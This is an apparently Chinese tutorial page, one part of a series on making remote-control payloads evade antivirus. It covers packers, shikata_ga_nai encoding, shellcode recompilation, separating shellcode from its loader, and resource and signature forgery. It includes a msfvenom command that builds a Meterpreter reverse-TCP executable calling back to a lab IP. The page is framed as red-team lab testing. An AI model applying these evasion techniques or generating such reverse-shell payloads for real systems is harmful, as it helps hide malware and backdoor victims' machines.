主页 > 网络知识 > 远控免杀从入门到实践(一):基础篇(4)

远控免杀从入门到实践(一):基础篇(4)

CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。

因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。

因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。

6.5 二次编译

metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。

而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

6.6 分离免杀

侯亮大神和倾旋大神都分别提到过payload分离免杀和webshell分离免杀,采用分离法,即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。比如侯亮大神提到的shellcode_launcher,加载c代码,基本没有能查杀的AV。

6.7 资源修改

有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。

1.加资源

使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

2.替换资源

使用ResHacker替换无用的资源(Version等)。

3.加签名

使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

七、Metasploit自带免杀

Metasploit自身已经提供了一定免杀机制,比如Evasion模块、MSF自带的C编译模块、大名鼎鼎的shikata_ga_nai编码等等,但由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果。

免杀测试主要是使用了metasploit或cobaltstrike生成的代码或程序进行免杀处理,在实验机(win7 x64)上安装了360全家桶和火绒进行本地测试,在https://www.virustotal.com/上进行在线查杀(如果是自己做免杀,建议测试机不要联互联网,更不要上传到virustotal.com类似的平台上)。

在开始实验之前,写了一篇文章介绍了一下msfvenom的基本参数和一些小技巧:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w,里面基本介绍了msfvenom的所有常用参数,有些参数在msf使用中可能会有一些意想不到的效果。

7.1 原生态payload(VT查杀率53/69)

操作便利★★★★★

免杀效果★

推荐指数★★

详细文章链接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

在免杀之前,我先生成了一个原始payload作为原始样本做对比,选用了频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个,并以此做为其他免杀的对比衡量标准。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe

经测试,可正常上线。在virustotal.com上查杀率为53/69。这种原生态的居然还有没查杀出来的,还好意思叫杀软么…

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!